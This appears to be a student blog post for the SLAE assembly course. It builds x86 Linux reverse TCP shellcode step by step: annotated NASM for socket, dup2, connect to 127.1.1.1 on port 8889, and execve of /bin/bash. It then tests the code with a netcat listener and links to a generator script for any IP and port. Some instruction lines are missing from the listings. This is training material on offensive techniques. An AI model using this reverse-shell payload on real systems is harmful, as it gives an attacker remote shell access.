Assignment #2 for the SLAE certification asks the student to do the following:
- Create a Shell_Reverse_TCP shellcode
- Reverse connects to configured IP and port
- Execs Shell on successful connection
- IP and Port should be easily configurable
Analysis of Metasploit Shellcode
Similar to the Bind shell post, I began this assignment by using msfvenom to generate a reverse tcp shellcode, and then piped that shellcode into libemu for analysis. This would allows you to quickly see what syscalls are being made by the shellcode to create the reverse TCP shell. The output from libemu is shown below:
This actually looked a little bit more simple than the bind TCP shellcode. Instead of needing to make a socket, and then a bind, listen, and accept call, the reverse TCP shell only needs to make the “connect” call after creating the socket.
The steps for the shellcode would be as follows:
- Create a TCP socket,
- duplicate the file descriptor for the socket into stdin, stdout, and stderr
- Create a socket connection
- launch the shell with execve
The first two components of the shellcode, creating the socket and the file descriptors, is the same as it was for the bind tcp shellcode. This allowed for the code to be reused for the reverse TCP shellcode.
Creating the “socket” sys_socketcall
Same as with the bind TCP shellcode, the reverse TCP shellcode needs to create a netwrok scoket. This will be a AF_INET/IPv4, sock_stream TCP socket. The assembly code to do this is below:
push eax ; this is pushing 0x0 to the stack which will be the “int protocol” param for sys_socket for a tcp socket
push ebx ; this is pushing 0x1 to the stack which will be the “int type” param for sys_socket for a SOCK_STREAM
push byte 0x2 ; push 0x2 to stack. Will be “int domain” param for sys_socket, which is AF_INET/IPv4
mov ecx, esp ; put the address of the stack pointer into ECX. This is a pointer for the arguments passed to sys_socket
mov al, 0x66
After this syscall completes successfully, the value of the file descriptor for the socket is stored in EAX. To save this value for later use, the EDX and EAX registers have their values swapped.
; after the socket syscall the socket FD is saved in EAX. Save that value in edx to be used later
xchg edx, eax
Creating the stdin, stdout, and stderr file descriptors
The “dup2” syscall will be used to duplicate the socket file descriptor into the file descriptors 0, 1, and 2. This will provide the shell with access to stdin, stdout, and stderr. This is done with a simple loop and using ECX as both a counter for the loop and the value for the “new” file descriptor for the socket file descriptor to be copied into.
; set up the input/output for the accept connection. Will need to use dup2 to copy the
mov ebx,edx ; edx contains the FD for the socket. Move value EAX into EBX as EBX needs the FD value for the dup2 call
mov cl, 0x2 ; ecx is being used for the “new” FD to duplicate the socket FD in. Need it to be for 0,1,2
mov al, 0x3f
Creating the “connect” sys_socketcall
Unlike the Bind TCP shell, the reverse TCP shell will make the network connection itself instead of waiting for an incoming connection. This requires the shellcode to use the connect sys_socketcall. The requirements for the connect call can be found with “man 2 connect”.
The socket file descriptor is currently being stored in EDX and can be pushed onto the stack to be used for the connect call.
“const struct sockaddr *addr” is a pointer to the network address to connect to. This is similar to what was provided to the “bind” sys_socketcall used in the Bind tcp shell. However, for the reverse TCP shell, a specific IPv4 address will need to be provided. The IP address “127.1.1.1” would be represented in hex as “7f010101.” This would be pushed onto the stack in reverse order, as “0x0101017f.”
After the IPv4 address is provided, the port number and the value “2” are provided for the AF_INET/IPv4 connection. After all the address information is on the stack, the stack pointer value is moved in ECX. The assembly looks like this:
; Create a connection to the specified IP address and port. This uses the “connect” of sys_socketcall, which will be 3
; for the address, each “byte” is the octet of an IP address. So, 127.1.1.1 looks like 0x0101017f when you push it onto the stack
; this is setting up the sockaddr needed for connect
push 0x0101017f ; the IP address to connect to, 127.1.1.1
push word 0xB922 ; TCP port to use, 8889
push word 0x2 ; this is making sure the connection is AF_INET/IPv4
mov ecx, esp ; put the stack pointer address in ECX to be used in the sys_socketcall syscall
With the sockaddr value setup, the stack can be setup for the connect sys_socketcall be done. First the length of the address, 0x10 or 16 is pushed onto the stack, then the memory address to sockaddr stored in ECX is pushed, and then finally the value of EDX, which is the socket file descriptor is pushed.
; now push the parameters needed for the connect syscall onto the stack
push 0x10 ; this is the length of the address for socklen_t addrlen
push ecx ; pointer to the sockaddr info, const struct sockaddr *addr
push edx ; Fd for the socket
mov ecx, esp ; after above is done, set ECX to the stack pointer address so it can all be passed to sys_socketcall
mov al, 0x66
int 0x80 ; making the syscall for sys_socketcall connect
Providing the shell
Finally, the execve syscall is made to launch /bin/bash so the connection has a shell. The assembly code is:
; after the new FD’s have been created, need to set up the execve call for /bin/bash so that the new connection gets a shell
;push the dword of nulls onto the stack
;push the string of “////bin/bash” onto the stack. Extra slashes to pad out the string to a multiple of four
; ////bin/bash is on the stack, at the ESP register. So, to get the address of the location of the string into ebx, mov esp into ebx
mov ebx, esp
; push another null to get EDX to point to a memory address that is a dword of nulls
mov edx, esp
; now for ecx, we need the address of EBX on the stack
mov ecx, esp
; make the syscall
mov al, 0xb
When this is executed, the application will make a connection to address 127.1.1.1 over port 8889 and provide a /bin/bash shell.
Testing the reverse TCP shell
To begin, a netcat listener was started to accept connections over port 8889. Then, the assembly code was compiled and executed.
The connection was received by netcat, and a shell was provided to the connection.
The reverse TCP connection was successful, and a shell was received!
The assembly code for this reverse TCP shell can be found here: https://github.com/FatRodzianko/slae-exam/blob/master/2-reverse_tcp/reverse-shell.nasm
Configurable reverse TCP shellcode
A python script was developed to accept an IPv4 address and port number from the user, and then print out the shellcode of a reverse TCP shell to be launched in a shellcode runner.
Usage of the python script can be seen below:
When the shellcode output from the python script was copied into a shellcode runner and executed, it was received by a netcat listener:
The python script performs checks for the user to make sure that a properly formatted IPv4 address is provided, that the TCP port number is valid, and makes sure that the address and port number do not result in any nulls or “\x00” values in the shellcode.
The python script can be found here: https://github.com/FatRodzianko/slae-exam/blob/master/2-reverse_tcp/generate-reverse-shellcode.py
All of the shellcode, scripts, and notes used for this can be found at: https://github.com/FatRodzianko/slae-exam/tree/master/2-reverse_tcp
SLAE Student Disclaimer
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/onlinecourses/securitytube-linux-assembly-expert/
Student ID: SLAE- 1373